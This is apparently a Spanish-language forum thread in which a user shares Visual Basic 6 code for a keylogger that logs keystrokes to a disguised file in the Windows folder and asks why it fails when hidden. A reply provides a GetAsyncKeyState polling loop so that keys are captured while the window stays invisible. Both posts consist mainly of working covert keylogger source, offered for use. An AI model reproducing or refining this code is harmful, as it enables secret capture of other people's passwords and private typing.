Visual Basic - AYUDA CON UN KEYLOGGER

HOLA NECESITO AYUDA CON UN KEYLOGGER, LO QUE PASA ES QUE CUANDO LO CORRO CON LAS PROPIEDADES VISIBLE Y ENABLE EN TRUE, TODO ESTO CUANDO LO ESTOY PROVANDO DESDE VB , Y ES CUANDO FUNCIONA TODO BIEN, SIN EMBARGO, CUANDO LO CORRO YA EN EJECUTABLE, CON LA PROPIEDAD VISIBLE EN FALSE, Y PARECIERA QUE NO LEE NINGUNA TECLA PRECIONADA, NOSE QUE DEBERIA HACER, OIALA ME PUEDAN AYUDAR, DE ANTEMANO GRACIAS, (ACONTINUACION LES PONGO EL CODIGO QUE ESTOY USANDO)
Dim text As String, text1 As String
Private Sub Form_KeyPress(KeyAscii As Integer)
text = Chr$(KeyAscii)
text1 = text1 & text
If Len(text1) >= 20 Then
Print #1, text1
Unload Me
End If
End Sub

Private Sub Form_Load()
Open (\"C:\\windows\\{olm1245.num\") For Append As #1
End Sub

Private Sub Form_Unload(Cancel As Integer)
If text1 = \"borrarborrarborrarbo\" Then
Close #1
Open (\"C:\\windows\\{olm1245.num\") For Output As #1
Print #1, \"aqui empesamos\"
Else
Print #1, Date
text = \"\"
End If
Close #1
End Sub

no way... claro que no va a funcionar por q estas usando el evento KeyPress, y ese evento es solo para cuando el formulario esta activo.

hazlo asi:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

colocas un text y un timer en el formulario y el codigo:

Private Sub Timer1_Timer()
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text & Chr(i)
End If
Next i
End Sub

de esta forma el formulario puede estar oculto pero sigue capturando las teclas.